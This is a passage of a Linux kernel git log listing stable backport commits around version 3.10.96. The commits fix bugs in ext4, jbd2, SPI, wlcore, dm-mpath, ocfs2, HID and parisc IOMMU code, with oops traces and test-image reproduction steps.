Signed-off-by: Helge Deller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5d072a74988f2ca65c0fabe4dd36cf049fb01479 Author: Andy Leiserson Date: Sun Oct 18 00:36:29 2015 -0400 fix calculation of meta_bg descriptor backups commit 904dad4742d211b7a8910e92695c0fa957483836 upstream. "group" is the group where the backup will be placed, and is initialized to zero in the declaration. This meant that backups for meta_bg descriptors were erroneously written to the backup block group descriptors in groups 1 and (desc_per_block-1). Reproduction information: mke2fs -Fq -t ext4 -b 1024 -O ^resize_inode /tmp/foo.img 16G truncate -s 24G /tmp/foo.img losetup /dev/loop0 /tmp/foo.img mount /dev/loop0 /mnt resize2fs /dev/loop0 umount /dev/loop0 dd if=/dev/zero of=/dev/loop0 bs=1024 count=2 e2fsck -fy /dev/loop0 losetup -d /dev/loop0 Signed-off-by: Andy Leiserson Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 76a8c918a24e83f0d125e34014a5b5e811c31a65 Author: Jan Kara Date: Tue Nov 24 15:34:35 2015 -0500 jbd2: Fix unreclaimed pages after truncate in data=journal mode commit bc23f0c8d7ccd8d924c4e70ce311288cb3e61ea8 upstream. Ted and Namjae have reported that truncated pages don't get timely reclaimed after being truncated in data=journal mode. The following test triggers the issue easily: for (i = 0; i < 1000; i++) { pwrite(fd, buf, 1024*1024, 0); fsync(fd); fsync(fd); ftruncate(fd, 0); } The reason is that journal_unmap_buffer() finds that truncated buffers are not journalled (jh->b_transaction == NULL), they are part of checkpoint list of a transaction (jh->b_cp_transaction != NULL) and have been already written out (!buffer_dirty(bh)). We clean such buffers but we leave them in the checkpoint list. Since checkpoint transaction holds a reference to the journal head, these buffers cannot be released until the checkpoint transaction is cleaned up. And at that point we don't call release_buffer_page() anymore so pages detached from mapping are lingering in the system waiting for reclaim to find them and free them. Fix the problem by removing buffers from transaction checkpoint lists when journal_unmap_buffer() finds out they don't have to be there anymore. Reported-and-tested-by: Namjae Jeon Fixes: de1b794130b130e77ffa975bb58cb843744f9ae5 Signed-off-by: Jan Kara Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 53fb2cde4c08069404c70e2ff7b64cc85ed96870 Author: Boris BREZILLON Date: Thu Jul 30 12:18:03 2015 +0200 mtd: mtdpart: fix add_mtd_partitions error path commit e5bae86797141e4a95e42d825f737cb36d7b8c37 upstream. If we fail to allocate a partition structure in the middle of the partition creation process, the already allocated partitions are never removed, which means they are still present in the partition list and their resources are never freed. Signed-off-by: Boris Brezillon Signed-off-by: Brian Norris Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 8cebba854923b7b36a0853d3f2f049beddd343c7 Author: Hon Ching \\(Vicky\\) Lo Date: Wed Oct 7 20:11:51 2015 -0400 vTPM: fix memory allocation flag for rtce buffer at kernel boot commit 60ecd86c4d985750efa0ea3d8610972b09951715 upstream. At ibm vtpm initialzation, tpm_ibmvtpm_probe() registers its interrupt handler, ibmvtpm_interrupt, which calls ibmvtpm_crq_process to allocate memory for rtce buffer. The current code uses 'GFP_KERNEL' as the type of kernel memory allocation, which resulted a warning at kernel/lockdep.c. This patch uses 'GFP_ATOMIC' instead so that the allocation is high-priority and does not sleep. Signed-off-by: Hon Ching(Vicky) Lo Signed-off-by: Peter Huewe Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a001c2276c305c6398fad57f70a6cf43648721f2 Author: Uri Mashiach Date: Thu Dec 24 16:05:00 2015 +0200 wlcore/wl12xx: spi: fix NULL pointer dereference (Oops) commit e47301b06d5a65678690f04c2248fd181db1e59a upstream. Fix the below Oops when trying to modprobe wlcore_spi. The oops occurs because the wl1271_power_{off,on}() function doesn't check the power() function pointer. [ 23.401447] Unable to handle kernel NULL pointer dereference at virtual address 00000000 [ 23.409954] pgd = c0004000 [ 23.412922] [00000000] *pgd=00000000 [ 23.416693] Internal error: Oops: 80000007 [#1] SMP ARM [ 23.422168] Modules linked in: wl12xx wlcore mac80211 cfg80211 musb_dsps musb_hdrc usbcore usb_common snd_soc_simple_card evdev joydev omap_rng wlcore_spi snd_soc_tlv320aic23_i2c rng_core snd_soc_tlv320aic23 c_can_platform c_can can_dev snd_soc_davinci_mcasp snd_soc_edma snd_soc_omap omap_wdt musb_am335x cpufreq_dt thermal_sys hwmon [ 23.453253] CPU: 0 PID: 36 Comm: kworker/0:2 Not tainted 4.2.0-00002-g951efee-dirty #233 [ 23.461720] Hardware name: Generic AM33XX (Flattened Device Tree) [ 23.468123] Workqueue: events request_firmware_work_func [ 23.473690] task: de32efc0 ti: de4ee000 task.ti: de4ee000 [ 23.479341] PC is at 0x0 [ 23.482112] LR is at wl12xx_set_power_on+0x28/0x124 [wlcore] [ 23.488074] pc : [<00000000>] lr : [] psr: 60000013 [ 23.488074] sp : de4efe50 ip : 00000002 fp : 00000000 [ 23.500162] r10: de7cdd00 r9 : dc848800 r8 : bf27af00 [ 23.505663] r7 : bf27a1a8 r6 : dcbd8a80 r5 : dce0e2e0 r4 : dce0d2e0 [ 23.512536] r3 : 00000000 r2 : 00000000 r1 : 00000001 r0 : dc848810 [ 23.519412] Flags: nZCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment kernel [ 23.527109] Control: 10c5387d Table: 9cb78019 DAC: 00000015 [ 23.533160] Process kworker/0:2 (pid: 36, stack limit = 0xde4ee218) [ 23.539760] Stack: (0xde4efe50 to 0xde4f0000) [...] [ 23.665030] [] (wl12xx_set_power_on [wlcore]) from [] (wlcore_nvs_cb+0x118/0xa4c [wlcore]) [ 23.675604] [] (wlcore_nvs_cb [wlcore]) from [] (request_firmware_work_func+0x30/0x58) [ 23.685784] [] (request_firmware_work_func) from [] (process_one_work+0x1b4/0x4b4) [ 23.695591] [] (process_one_work) from [] (worker_thread+0x3c/0x4a4) [ 23.704124] [] (worker_thread) from [] (kthread+0xd4/0xf0) [ 23.711747] [] (kthread) from [] (ret_from_fork+0x14/0x3c) [ 23.719357] Code: bad PC value [ 23.722760] ---[ end trace 981be8510db9b3a9 ]--- Prevent oops by validationg power() pointer value before calling the function. Signed-off-by: Uri Mashiach Acked-by: Igor Grinberg Signed-off-by: Kalle Valo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 00036f178128512d12ef5f13235dd84a56405d2b Author: Uri Mashiach Date: Thu Dec 10 15:12:56 2015 +0200 wlcore/wl12xx: spi: fix oops on firmware load commit 9b2761cb72dc41e1948c8a5512b4efd384eda130 upstream. The maximum chunks used by the function is (SPI_AGGR_BUFFER_SIZE / WSPI_MAX_CHUNK_SIZE + 1). The original commands array had space for (SPI_AGGR_BUFFER_SIZE / WSPI_MAX_CHUNK_SIZE) commands. When the last chunk is used (len > 4 * WSPI_MAX_CHUNK_SIZE), the last command is stored outside the bounds of the commands array. Oops 5 (page fault) is generated during current wl1271 firmware load attempt: root@debian-armhf:~# ifconfig wlan0 up [ 294.312399] Unable to handle kernel paging request at virtual address 00203fc4 [ 294.320173] pgd = de528000 [ 294.323028] [00203fc4] *pgd=00000000 [ 294.326916] Internal error: Oops: 5 [#1] SMP ARM [ 294.331789] Modules linked in: bnep rfcomm bluetooth ipv6 arc4 wl12xx wlcore mac80211 musb_dsps cfg80211 musb_hdrc usbcore usb_common wlcore_spi omap_rng rng_core musb_am335x omap_wdt cpufreq_dt thermal_sys hwmon [ 294.351838] CPU: 0 PID: 1827 Comm: ifconfig Not tainted 4.2.0-00002-g3e9ad27-dirty #78 [ 294.360154] Hardware name: Generic AM33XX (Flattened Device Tree) [ 294.366557] task: dc9d6d40 ti: de550000 task.ti: de550000 [ 294.372236] PC is at __spi_validate+0xa8/0x2ac [ 294.376902] LR is at __spi_sync+0x78/0x210 [ 294.381200] pc : [] lr : [] psr: 60000013 [ 294.381200] sp : de551998 ip : de5519d8 fp : 00200000 [ 294.393242] r10: de551c8c r9 : de5519d8 r8 : de3a9000 [ 294.398730] r7 : de3a9258 r6 : de3a9400 r5 : de551a48 r4 : 00203fbc [ 294.405577] r3 : 00000000 r2 : 00000000 r1 : 00000000 r0 : de3a9000 [ 294.412420] Flags: nZCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user [ 294.419918] Control: 10c5387d Table: 9e528019 DAC: 00000015 [ 294.425954] Process ifconfig (pid: 1827, stack limit = 0xde550218) [ 294.432437] Stack: (0xde551998 to 0xde552000) ... [ 294.883613] [] (__spi_validate) from [] (__spi_sync+0x78/0x210) [ 294.891670] [] (__spi_sync) from [] (wl12xx_spi_raw_write+0xfc/0x148 [wlcore_spi]) [ 294.901661] [] (wl12xx_spi_raw_write [wlcore_spi]) from [] (wlcore_boot_upload_firmware+0x1ec/0x458 [wlcore]) [ 294.914038] [] (wlcore_boot_upload_firmware [wlcore]) from [] (wl12xx_boot+0xc10/0xfac [wl12xx]) [ 294.925161] [] (wl12xx_boot [wl12xx]) from [] (wl1271_op_add_interface+0x5b0/0x910 [wlcore]) [ 294.936364] [] (wl1271_op_add_interface [wlcore]) from [] (ieee80211_do_open+0x44c/0xf7c [mac80211]) [ 294.947963] [] (ieee80211_do_open [mac80211]) from [] (__dev_open+0xa8/0x110) [ 294.957307] [] (__dev_open) from [] (__dev_change_flags+0x88/0x148) [ 294.965713] [] (__dev_change_flags) from [] (dev_change_flags+0x18/0x48) [ 294.974576] [] (dev_change_flags) from [] (devinet_ioctl+0x6b4/0x7d0) [ 294.983191] [] (devinet_ioctl) from [] (sock_ioctl+0x1e4/0x2bc) [ 294.991244] [] (sock_ioctl) from [] (do_vfs_ioctl+0x420/0x6b0) [ 294.999208] [] (do_vfs_ioctl) from [] (SyS_ioctl+0x6c/0x7c) [ 295.006880] [] (SyS_ioctl) from [] (ret_fast_syscall+0x0/0x54) [ 295.014835] Code: e1550004 e2444034 0a00007d e5953018 (e5942008) [ 295.021544] ---[ end trace 66ed188198f4e24e ]--- Signed-off-by: Uri Mashiach Acked-by: Igor Grinberg Signed-off-by: Kalle Valo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 72cb3c30c262cd8ae012688c93dd2b2c2925c3fb Author: Johan Hovold Date: Mon Dec 14 16:16:19 2015 +0100 spi: fix parent-device reference leak commit 157f38f993919b648187ba341bfb05d0e91ad2f6 upstream. Fix parent-device reference leak due to SPI-core taking an unnecessary reference to the parent when allocating the master structure, a reference that was never released. Note that driver core takes its own reference to the parent when the master device is registered. Fixes: 49dce689ad4e ("spi doesn't need class_device") Signed-off-by: Johan Hovold Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 79a8901b4665460cda384f0fe25a49724a278d89 Author: David Mosberger-Tang Date: Tue Oct 20 14:26:47 2015 +0200 spi: atmel: Fix DMA-setup for transfers with more than 8 bits per word commit 06515f83908d038d9e12ffa3dcca27a1b67f2de0 upstream. The DMA-slave configuration depends on the whether <= 8 or > 8 bits are transferred per word, so we need to call atmel_spi_dma_slave_config() with the correct value. Signed-off-by: David Mosberger Signed-off-by: Nicolas Ferre Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit dc4877a8c348978b4e8d602054dc0ab601accf60 Author: Mauricio Faria de Oliveira Date: Thu Oct 29 10:24:23 2015 -0200 Revert "dm mpath: fix stalls when handling invalid ioctls" commit 47796938c46b943d157ac8a6f9ed4e3b98b83cf4 upstream. This reverts commit a1989b330093578ea5470bea0a00f940c444c466. That commit introduced a regression at least for the case of the SG_IO ioctl() running without CAP_SYS_RAWIO capability (e.g., unprivileged users) when there are no active paths: the ioctl() fails with the ENOTTY errno immediately rather than blocking due to queue_if_no_path until a path becomes active, for example. That case happens to be exercised by QEMU KVM guests with 'scsi-block' devices (qemu "-device scsi-block" [1], libvirt "" [2]) from multipath devices; which leads to SCSI/filesystem errors in such a guest. More general scenarios can hit that regression too. The following demonstration employs a SG_IO ioctl() with a standard SCSI INQUIRY command for this objective (some output & user changes omitted for brevity and comments added for clarity). Reverting that commit restores normal operation (queueing) in failing scenarios; tested on linux-next (next-20151022). 1) Test-case is based on sg_simple0 [3] (just SG_IO; remove SG_GET_VERSION_NUM) $ cat sg_simple0.c ... see [3] ... $ sed '/SG_GET_VERSION_NUM/,/}/d' sg_simple0.c > sgio_inquiry.c $ gcc sgio_inquiry.c -o sgio_inquiry 2) The ioctl() works fine with active paths present. # multipath -l 85ag56 85ag56 (...) dm-19 IBM ,2145 size=60G features='1 queue_if_no_path' hwhandler='0' wp=rw |-+- policy='service-time 0' prio=0 status=active | |- 8:0:11:0 sdz 65:144 active undef running | `- 9:0:9:0 sdbf 67:144 active undef running `-+- policy='service-time 0' prio=0 status=enabled |- 8:0:12:0 sdae 65:224 active undef running `- 9:0:12:0 sdbo 68:32 active undef running $ ./sgio_inquiry /dev/mapper/85ag56 Some of the INQUIRY command's response: IBM 2145 0000 INQUIRY duration=0 millisecs, resid=0 3) The ioctl() fails with ENOTTY errno with _no_ active paths present, for unprivileged users (rather than blocking due to queue_if_no_path). # for path in $(multipath -l 85ag56 | grep -o 'sd[a-z]\+'); \ do multipathd -k"fail path $path"; done # multipath -l 85ag56 85ag56 (...) dm-19 IBM ,2145 size=60G features='1 queue_if_no_path' hwhandler='0' wp=rw |-+- policy='service-time 0' prio=0 status=enabled | |- 8:0:11:0 sdz 65:144 failed undef running | `- 9:0:9:0 sdbf 67:144 failed undef running `-+- policy='service-time 0' prio=0 status=enabled |- 8:0:12:0 sdae 65:224 failed undef running `- 9:0:12:0 sdbo 68:32 failed undef running $ ./sgio_inquiry /dev/mapper/85ag56 sg_simple0: Inquiry SG_IO ioctl error: Inappropriate ioctl for device 4) dmesg shows that scsi_verify_blk_ioctl() failed for SG_IO (0x2285); it returns -ENOIOCTLCMD, later replaced with -ENOTTY in vfs_ioctl(). $ dmesg <...> [] device-mapper: multipath: Failing path 65:144. [] device-mapper: multipath: Failing path 67:144. [] device-mapper: multipath: Failing path 65:224. [] device-mapper: multipath: Failing path 68:32. [] sgio_inquiry: sending ioctl 2285 to a partition! 5) The ioctl() only works if the SYS_CAP_RAWIO capability is present (then queueing happens -- in this example, queue_if_no_path is set); this is due to a conditional check in scsi_verify_blk_ioctl(). # capsh --drop=cap_sys_rawio -- -c './sgio_inquiry /dev/mapper/85ag56' sg_simple0: Inquiry SG_IO ioctl error: Inappropriate ioctl for device # ./sgio_inquiry /dev/mapper/85ag56 & [1] 72830 # cat /proc/72830/stack [] 0xc00000171c0df700 [] __switch_to+0x204/0x350 [] msleep+0x5c/0x80 [] dm_blk_ioctl+0x70/0x170 [] blkdev_ioctl+0x2b0/0x9b0 [] block_ioctl+0x64/0xd0 [] do_vfs_ioctl+0x490/0x780 [] SyS_ioctl+0xd4/0xf0 [] system_call+0x38/0xd0 6) This is the function call chain exercised in this analysis: SYSCALL_DEFINE3(ioctl, <...>) @ fs/ioctl.c -> do_vfs_ioctl() -> vfs_ioctl() ... error = filp->f_op->unlocked_ioctl(filp, cmd, arg); ... -> dm_blk_ioctl() @ drivers/md/dm.c -> multipath_ioctl() @ drivers/md/dm-mpath.c ... (bdev = NULL, due to no active paths) ... if (!bdev || <...>) { int err = scsi_verify_blk_ioctl(NULL, cmd); if (err) r = err; } ... -> scsi_verify_blk_ioctl() @ block/scsi_ioctl.c ... if (bd && bd == bd->bd_contains) // not taken (bd = NULL) return 0; ... if (capable(CAP_SYS_RAWIO)) // not taken (unprivileged user) return 0; ... printk_ratelimited(KERN_WARNING "%s: sending ioctl %x to a partition!\n" <...>); return -ENOIOCTLCMD; <- ... return r ? : <...> <- ... if (error == -ENOIOCTLCMD) error = -ENOTTY; out: return error; ... Links: [1] http://git.qemu.org/?p=qemu.git;a=commit;h=336a6915bc7089fb20fea4ba99972ad9a97c5f52 [2] https://libvirt.org/formatdomain.html#elementsDisks (see 'disk' -> 'device') [3] http://tldp.org/HOWTO/SCSI-Generic-HOWTO/pexample.html (Revision 1.2, 2002-05-03) Signed-off-by: Mauricio Faria de Oliveira Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 45ca3cce4520f3e2ad351d0bf04704c57edf5b77 Author: Dmitry V. Levin Date: Fri Dec 11 13:41:06 2015 -0800 sh64: fix __NR_fgetxattr commit 2d33fa1059da4c8e816627a688d950b613ec0474 upstream. According to arch/sh/kernel/syscalls_64.S and common sense, __NR_fgetxattr has to be defined to 259, but it doesn't. Instead, it's defined to 269, which is of course used by another syscall, __NR_sched_setaffinity in this case. This bug was found by strace test suite. Signed-off-by: Dmitry V. Levin Acked-by: Geert Uytterhoeven Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 343bd2ce7b813f65a8d51f46545237b3055d1848 Author: xuejiufei Date: Fri Feb 5 15:36:47 2016 -0800 ocfs2/dlm: clear refmap bit of recovery lock while doing local recovery cleanup commit c95a51807b730e4681e2ecbdfd669ca52601959e upstream. When recovery master down, dlm_do_local_recovery_cleanup() only remove the $RECOVERY lock owned by dead node, but do not clear the refmap bit. Which will make umount thread falling in dead loop migrating $RECOVERY to the dead node. Signed-off-by: xuejiufei Reviewed-by: Joseph Qi Cc: Mark Fasheh Cc: Joel Becker Cc: Junxiao Bi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c6503546b2a451f11b48385afb6c168308ec71ef Author: xuejiufei Date: Thu Jan 14 15:17:38 2016 -0800 ocfs2/dlm: ignore cleaning the migration mle that is inuse commit bef5502de074b6f6fa647b94b73155d675694420 upstream. We have found that migration source will trigger a BUG that the refcount of mle is already zero before put when the target is down during migration. The situation is as follows: dlm_migrate_lockres dlm_add_migration_mle dlm_mark_lockres_migrating dlm_get_mle_inuse <<<<<< Now the refcount of the mle is 2. dlm_send_one_lockres and wait for the target to become the new master. <<<<<< o2hb detect the target down and clean the migration mle. Now the refcount is 1. dlm_migrate_lockres woken, and put the mle twice when found the target goes down which trigger the BUG with the following message: "ERROR: bad mle: ". Signed-off-by: Jiufei Xue Reviewed-by: Joseph Qi Cc: Mark Fasheh Cc: Joel Becker Cc: Junxiao Bi Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 127a307cf36ea5b57ee4493a52d061896dfa424f Author: Richard Weinberger Date: Fri Nov 20 15:57:21 2015 -0800 kernel/signal.c: unexport sigsuspend() commit 9d8a765211335cfdad464b90fb19f546af5706ae upstream. sigsuspend() is nowhere used except in signal.c itself, so we can mark it static do not pollute the global namespace. But this patch is more than a boring cleanup patch, it fixes a real issue on UserModeLinux. UML has a special console driver to display ttys using xterm, or other terminal emulators, on the host side. Vegard reported that sometimes UML is unable to spawn a xterm and he's facing the following warning: WARNING: CPU: 0 PID: 908 at include/linux/thread_info.h:128 sigsuspend+0xab/0xc0() It turned out that this warning makes absolutely no sense as the UML xterm code calls sigsuspend() on the host side, at least it tries. But as the kernel itself offers a sigsuspend() symbol the linker choose this one instead of the glibc wrapper. Interestingly this code used to work since ever but always blocked signals on the wrong side. Some recent kernel change made the WARN_ON() trigger and uncovered the bug. It is a wonderful example of how much works by chance on computers. :-) Fixes: 68f3f16d9ad0f1 ("new helper: sigsuspend()") Signed-off-by: Richard Weinberger Reported-by: Vegard Nossum Tested-by: Vegard Nossum Acked-by: Oleg Nesterov Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3776d916fd9a8b528d5db82aec4df52f31c725a4 Author: Arnd Bergmann Date: Fri Nov 20 18:26:07 2015 +0100 remoteproc: avoid stack overflow in debugfs file commit 92792e48e2ae6051af30468a87994b5432da2f06 upstream. Recent gcc versions warn about reading from a negative offset of an on-stack array: drivers/remoteproc/remoteproc_debugfs.c: In function 'rproc_recovery_write': drivers/remoteproc/remoteproc_debugfs.c:167:9: warning: 'buf[4294967295u]' may be used uninitialized in this function [-Wmaybe-uninitialized] I don't see anything in sys_write() that prevents us from being called with a zero 'count' argument, so we should add an extra check in rproc_recovery_write() to prevent the access and avoid the warning. Signed-off-by: Arnd Bergmann Fixes: 2e37abb89a2e ("remoteproc: create a 'recovery' debugfs entry") Signed-off-by: Ohad Ben-Cohen Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 91038759c7a3a7eacc115467439c61b6202a2e4c Author: Ioan-Adrian Ratiu Date: Fri Nov 20 22:19:02 2015 +0200 HID: usbhid: fix recursive deadlock commit e470127e9606b1fa151c4184243e61296d1e0c0f upstream. The critical section protected by usbhid->lock in hid_ctrl() is too big and because of this it causes a recursive deadlock. "Too big" means the case statement and the call to hid_input_report() do not need to be protected by the spinlock (no URB operations are done inside them). The deadlock happens because in certain rare cases drivers try to grab the lock while handling the ctrl irq which grabs the lock before them as described above. For example newer wacom tablets like 056a:033c try to reschedule proximity reads from wacom_intuos_schedule_prox_event() calling hid_hw_request() -> usbhid_request() -> usbhid_submit_report() which tries to grab the usbhid lock already held by hid_ctrl(). There are two ways to get out of this deadlock: 1. Make the drivers work "around" the ctrl critical region, in the wacom case for ex. by delaying the scheduling of the proximity read request itself to a workqueue. 2. Shrink the critical region so the usbhid lock protects only the instructions which modify usbhid state, calling hid_input_report() with the spinlock unlocked, allowing the device driver to grab the lock first, finish and then grab the lock afterwards in hid_ctrl(). This patch implements the 2nd solution. Signed-off-by: Ioan-Adrian Ratiu Signed-off-by: Jiri Kosina Signed-off-by: Jason Gerecke Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ff5edb11cb1fdb3190bdbf707834eb1306722935 Author: Mike Snitzer Date: Mon Nov 23 16:24:45 2015 -0500 dm btree: fix leak of bufio-backed block in btree_split_sibling error path commit 30ce6e1cc5a0f781d60227e9096c86e188d2c2bd upstream. The block allocated at the start of btree_split_sibling() is never released if later insert_at() fails. Fix this by releasing the previously allocated bufio block using unlock_block(). Reported-by: Mikulas Patocka Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c0d7fec1860fdcd468ae1c31154ce5ece8a21821 Author: Herbert Xu Date: Sun Nov 1 17:11:19 2015 +0800 crypto: algif_hash - Only export and import on sockets with data commit 4afa5f9617927453ac04b24b584f6c718dfb4f45 upstream. The hash_accept call fails to work on sockets that have not received any data. For some algorithm implementations it may cause crashes. This patch fixes this by ensuring that we only export and import on sockets that have received data. Reported-by: Harsh Jain Signed-off-by: Herbert Xu Tested-by: Stephan Mueller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit aaee163b1e5fb123e4ccc2b84607051e68bc32e1 Author: Greg Kroah-Hartman Date: Sun Jan 31 11:11:58 2016 -0800 xhci: fix placement of call to usb_disabled() In the backport of 1eaf35e4dd592c59041bc1ed3248c46326da1f5f, the call to usb_disabled() was too late, after we had already done some allocation. Move that call to the top of the function instead, making the logic match what is intended and is in the original patch. Reported-by: Luis Henriques Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9ef0ac5cf7a73af1e1d289cd4b4772f6ab475607 Author: libin Date: Tue Nov 3 08:58:47 2015 +0800 recordmcount: Fix endianness handling bug for nop_mcount commit c84da8b9ad3761eef43811181c7e896e9834b26b upstream. In nop_mcount, shdr->sh_offset and welp->r_offset should handle endianness properly, otherwise it will trigger Segmentation fault if the recordmcount main and file.o have different endianness. Link: http://lkml.kernel.org/r/563806C7.7070606@huawei.com Signed-off-by: Li Bin Signed-off-by: Steven Rostedt Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9a2376117977ee72c249c2acfe268f895bd67912 Author: Greg Kroah-Hartman Date: Thu Jan 28 21:49:55 2016 -0800 Linux 3.10.96 Signed-off-by: Pranav Vashi commit 88431168bc290685ffa4f4de1090ab42ffa6bfc6 Author: Guenter Roeck Date: Sat Nov 28 08:52:04 2015 -0800 mn10300: Select CONFIG_HAVE_UID16 to fix build failure commit c86576ea114a9a881cf7328dc7181052070ca311 upstream. mn10300 builds fail with fs/stat.c: In function 'cp_old_stat': fs/stat.c:163:2: error: 'old_uid_t' undeclared ipc/util.c: In function 'ipc64_perm_to_ipc_perm': ipc/util.c:540:2: error: 'old_uid_t' undeclared Select CONFIG_HAVE_UID16 and remove local definition of CONFIG_UID16 to fix the problem. Fixes: fbc416ff8618 ("arm64: fix building without CONFIG_UID16") Cc: Arnd Bergmann Acked-by: Arnd Bergmann Acked-by: Acked-by: David Howells Signed-off-by: Guenter Roeck Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d85bad6eb0a14cb0d7c0d553140f28eb50b144f8 Author: Andrew Morton Date: Fri Jul 17 16:23:28 2015 -0700 openrisc: fix CONFIG_UID16 setting commit 04ea1e91f85615318ea91ce8ab50cb6a01ee4005 upstream. openrisc-allnoconfig: kernel/uid16.c: In function 'SYSC_setgroups16': kernel/uid16.c:184:2: error: implicit declaration of function 'groups_alloc' kernel/uid16.c:184:13: warning: assignment makes pointer from integer without a cast openrisc shouldn't be setting CONFIG_UID16 when CONFIG_MULTIUSER=n. Fixes: 2813893f8b197a1 ("kernel: conditionally support non-root users, groups and capabilities") Reported-by: Fengguang Wu Cc: Iulia Manda Cc: Josh Triplett Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9a306f724d34320eb794370fbfa775ff9a5a4d29 Author: Richard Purdie Date: Fri Sep 18 16:31:33 2015 -0700 HID: core: Avoid uninitialized buffer access commit 79b568b9d0c7c5d81932f4486d50b38efdd6da6d upstream. hid_connect adds various strings to the buffer but they're all conditional. You can find circumstances where nothing would be written to it but the kernel will still print the supposedly empty buffer with printk. This leads to corruption on the console/in the logs. Ensure buf is initialized to an empty string. Signed-off-by: Richard Purdie [dvhart: Initialize string to "" rather than assign buf[0] = NULL;] Cc: Jiri Kosina Cc: linux-input@vger.kernel.org Signed-off-by: Darren Hart Signed-off-by: Jiri Kosina Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 942d23d08957d1646a8fb795ae24c88369f61934 Author: Mikulas Patocka Date: Mon Nov 30 14:47:46 2015 -0500 parisc iommu: fix panic due to trying to allocate too large region commit e46e31a3696ae2d66f32c207df3969613726e636 upstream. When using the Promise TX2+ SATA controller on PA-RISC, the system often crashes with kernel panic, for example just writing data with the dd utility will make it crash. Kernel panic - not syncing: drivers/parisc/sba_iommu.c: I/O MMU @ 000000000000a000 is out of mapping resources CPU: 0 PID: 18442 Comm: mkspadfs Not tainted 4.4.0-rc2 #2 Backtrace: [<000000004021497c>] show_stack+0x14/0x20 [<0000000040410bf0>] dump_stack+0x88/0x100 [<000000004023978c>] panic+0x124/0x360 [<0000000040452c18>] sba_alloc_range+0x698/0x6a0 [<0000000040453150>] sba_map_sg+0x260/0x5b8 [<000000000c18dbb4>] ata_qc_issue+0x264/0x4a8 [libata] [<000000000c19535c>] ata_scsi_translate+0xe4/0x220 [libata] [<000000000c19a93c>] ata_scsi_queuecmd+0xbc/0x320 [libata] [<0000000040499bbc>] scsi_dispatch_cmd+0xfc/0x130 [<000000004049da34>] scsi_request_fn+0x6e4/0x970 [<00000000403e95a8>] __blk_run_queue+0x40/0x60 [<00000000403e9d8c>] blk_run_queue+0x3c/0x68 [<000000004049a534>] scsi_run_queue+0x2a4/0x360 [<000000004049be68>] scsi_end_request+0x1a8/0x238 [<000000004049de84>] scsi_io_completion+0xfc/0x688 [<0000000040493c74>] scsi_finish_command+0x17c/0x1d0 The cause of the crash is not exhaustion of the IOMMU space, there is plenty of free pages. The function sba_alloc_range is called with size 0x11000, thus the pages_needed variable is 0x11. The function sba_search_bitmap is called with bits_wanted 0x11 and boundary size is 0x10 (because dma_get_seg_boundary(dev) returns 0xffff). The function sba_search_bitmap attempts to allocate 17 pages that must not cross 16-page boundary - it can't satisfy this requirement (iommu_is_span_boundary always returns true) and fails even if there are many free entries in the IOMMU space. How did it happen that we try to allocate 17 pages that don't cross 16-page boundary? The cause is in the function iommu_coalesce_chunks. This function tries to coalesce adjacent entries in the scatterlist. The function does several checks if it may coalesce one entry with the next, one of those checks is this: if (startsg->length + dma_len > max_seg_size) break; When it finishes coalescing adjacent entries, it allocates the mapping: sg_dma_len(contig_sg) = dma_len; dma_len = ALIGN(dma_len + dma_offset, IOVP_SIZE); sg_dma_address(contig_sg) = PIDE_FLAG | (iommu_alloc_range(ioc, dev, dma_len) << IOVP_SHIFT) | dma_offset; It is possible that (startsg->length + dma_len > max_seg_size) is false (we are just near the 0x10000 max_seg_size boundary), so the funcion decides to coalesce this entry with the next entry. When the coalescing succeeds, the function performs dma_len = ALIGN(dma_len + dma_offset, IOVP_SIZE); And now, because of non-zero dma_offset, dma_len is greater than 0x10000. iommu_alloc_range (a pointer to sba_alloc_range) is called and it attempts to allocate 17 pages for a device that must not cross 16-page boundary. To fix the bug, we must make sure that dma_len after addition of dma_offset and alignment doesn't cross the segment boundary. I.e. change if (startsg->length + dma_len > max_seg_size) break; to if (ALIGN(dma_len + dma_offset + startsg->length, IOVP_SIZE) > max_seg_size) break; This patch makes this change (it precalculates max_seg_boundary at the beginning of the function iommu_coalesce_chunks). I also added a check that the mapping length doesn't exceed dma_get_seg_boundary(dev) (it is not needed for Promise TX2+ SATA, but it may be needed for other devices that have dma_get_seg_boundary lower than dma_get_max_seg_size). Signed-off-by: Mikulas Patocka Signed-off-by: Helge Deller Signed-off-by: Greg Kroah-Hartman Signed-off-by: 